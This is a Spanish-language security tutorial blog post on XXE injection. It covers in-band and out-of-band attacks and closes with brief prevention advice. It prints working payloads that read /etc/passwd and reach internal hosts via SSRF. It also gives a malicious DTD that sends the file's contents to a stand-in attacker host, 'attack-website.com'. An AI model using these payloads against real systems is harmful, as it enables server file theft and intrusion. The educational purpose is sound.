Bienvenidos a otro post en Byte Mind, en este caso vamos a ver qué es la Inyección de Entidad Externa XML, conocida también por sus siglas XXE, en qué consiste, como encontrar y explotar varios tipos de inyecciones XXE así como ejemplos que lo expliquen más en detalle y sobre todo veremos un breve resumen de como poder prevenir este tipo de ataques, así que, vamos con ello.
Índice
Qué es la inyección de Entidad Externa XML
La inyección de Entidad Externa XML, también conocida como XXE, es una vulnerabilidad de seguridad web que permite a un atacante interferir en el procesamiento de datos XML de una aplicación. A menudo esto permite a un atacante la posibilidad de ver archivos del sistema de archivos del servidor de aplicaciones e interactuar con cualquier sistema de backend o externo al que dicha aplicación puede acceder.
Se dan también ciertas situaciones en las cuales un atacante puede escalar un ataque XXE con el objetivo de comprometer un servidor subyacente u otra infraestructura interna aprocechando dicha vulnerabilidad para realizar ataques de Falsificación de Solicitudes del lado del Servidor (SSRF).
Algunas aplicaciones utilizan el formato de texto XML para transmitir datos entre el navegador y el servidor, utilizando en la mayoría de casos una biblioteca estándar o API para procesar los datos en el servidor. Las vulnerabilidades XXE surgen debido a que la especificación XML contiene varias características muy peligrosas y se suelen permitir dichas características incluso si la aplicación no las utiliza normalmente.
Tipos de ataques XXE
Dependiendo de el destino de los datos pueden ser de dos tipos:
- XXE In-Band: creación de una entidad devolviendo el contenido en la respuesta
- XXE Out-Of-Band: creación de una entidad y exfiltrando esos datos de forma externa. Se suele realizar en ataques donde la explotación es ciega, es decir, que no se observa el resultado en la respuesta, aunque el mismo se haya realizado de forma efectiva.
Veremos a continuación un ejemplo de cada uno de ellos.
Ataques XXE In-Band
En los ataques XXE In-Band, el objetivo es recuperar un fichero arbitrario del sistema de archivos del servidor y observar el mismo en la respuesta XML. Para ello se debe de modificar el XML enviado de dos formas:
- Introducir un elemento DOCTYPE que defina una entidad externa que contenga la ruta al archivo
- Editar un valor de datos en el XML que se devuelve en la respuesta de la aplicación para hacer uso de la entidad externa definida previamente
Veamos un ejemplo, supongamos que un aplicación de compras verifica el nivel de existencias de un producto enviando al servidor el siguiente XML:
1 2 |
<?xml version="1.0" encoding="UTF-8"?> <stockCheck><productId>32</productId></stockCheck> |
La aplicación no tiene definido ningún tipo de protección ante este tipo de ataques, por lo que se puede aprovechar la vulnerabilidad para recuperar el fichero /etc/passwd enviando el siguiente payload al servidor:
1 2 3 |
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck> |
Este payload XXE define una entidad externa &xxe; cuyo valor es el contenido del fichero /etc/passwd y utiliza la entidad dentro del campo productId. Esto provocará que la respuesta de la aplicación incluya el contenido del fichero solicitado:
1 2 3 |
Invalid product ID: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... |
Otro ataque común en este tipo de XXE es realizar ataques SSRF gracias a esta vulnerabilidad, como por ejemplo se podría acceder a un servidor externo por medio del siguiente payload
1 2 3 |
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-IP/filetoread"> ]> <stockCheck><productId>&xxe;</productId></stockCheck> |
De tal forma que sea posible leer un fichero existente en un servidor HTTP interno, al cual no se tiene acceso de forma pública.
Ataques XXE Out-Of-Band
Los ataques Out-Of-Band se utilizan generalmente en ataques XXE ciegos, es decir, que no se obtenga respuesta alguna del servidor y no sea posible por lo métodos convencionales detectar si el ataque ha sido exitoso.
Un ejemplo de ataque XXE ciego sería utilizando la misma técnica que en el ataque In-Band pero activando la interacción de red con un sistema controlado por el atacante.
Por ejemplo, supongamos que se define una entidad externa de la siguiente forma:
1 2 |
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attack-website.com"> ]> |
Posteriormente haría uso de la entidad definida en un valor de datos dentro del XML, y en el momento que se procese el mismo, el servidor realizará una solicitud HTTP a la url especificada, a través de la cual el atacante puede monitorizar la búsquea de DNS y la solicitud HTTP resultate, y por lo tanto, detectar si el ataque XXE fue exitoso.
Una vez detectado el resultado del ataque, es posible exfiltrar datos confidenciales mediante la inyección de una DTD maliciosa en el sistema que luego invocará la DTD externa desde el payload XXE.
Veamos un ejemplo de como exfiltar el contenido del fichero /etc/passwd del sistema con el siguiente payload:
1 2 3 4 5 |
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attack-website.com/?x=%file;'>"> %eval; %exfiltrate; |
El anterior DTD realizará los siguientes pasos:
- Define un parámetro XML denominado file que contendrá el contenido del fichero /etc/passwd
- Define un parámetro XML denominado eval que contendrá una declaración dinámica de otro parámetro denominado exfiltrate. Este último parámetro se evaluará mediante una solicitud HTTP al servidor web del atacante que contendrá el valor del parámetro file dentro de la URI
- Utilizará el parámetro eval, lo que provocará que se realice la declaración dinámica del parámetro exfiltrate
- Utilizará el parámetro exfiltrate, por lo su valor se evaluará solicitando la URL especificada
Completados los pasos, el atacante debe alojar la DTD maliciosa en un sistema controlado por él.
Por ejemplo, el atacante podría publica la DTD maliciosa en la url siguiente:
1 |
http://attack-website.com/evil.dtd |
Finalmente el atacante enviará el siguiente payload XXE a la aplicación vulnerable:
1 |
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attack-website.com/evil.dtd"> %xxe;]> |
Este payload declara una entidad de parámetro XML llamada xxe y luego utiliza la entidad dentro de la DTD maliciosa, lo que hará que el analizador XML obtenda la DTD externa y la interprete, ejecutando con ella los pasos definidos en la misma y transmitiendo el fichero /etc/passwd del servidor a la máquina del atacante.
Cómo prevenir vulnerabilidades XXE
Las vulnerabilidades XXE surgen, principalmente, porque utilizar la biblioteca de análisis de XML de la aplicación admite características potencialmente peligrosas que la aplicación no necesita para su correcto funcionamiento. La forma más simple y eficar de prevenir estas vulnerabilidades es desactivar dichas funciones.
Además, en muchas ocasiones, es suficiente con deshabilitar la resolución de entidades externas y deshabilitar el soporte para XInclude. Generalmente esto se puede hacer a través de las opciones de configuración o anulando el comportamiento por defecto mediante programación. Para ello consulte la documentación de la biblioteca de análsis XML para obtener detalles sobre como deshabilitar capacidades innecesarias de la misma.
Y esto es todo por el momento, espero les sirva de ayuda a entender un poco mejor estos ataques y como prevenir los mismos. Y, como siempre, cualquier duda, aporte o sugerencia es bienvenida en la sección de comentarios.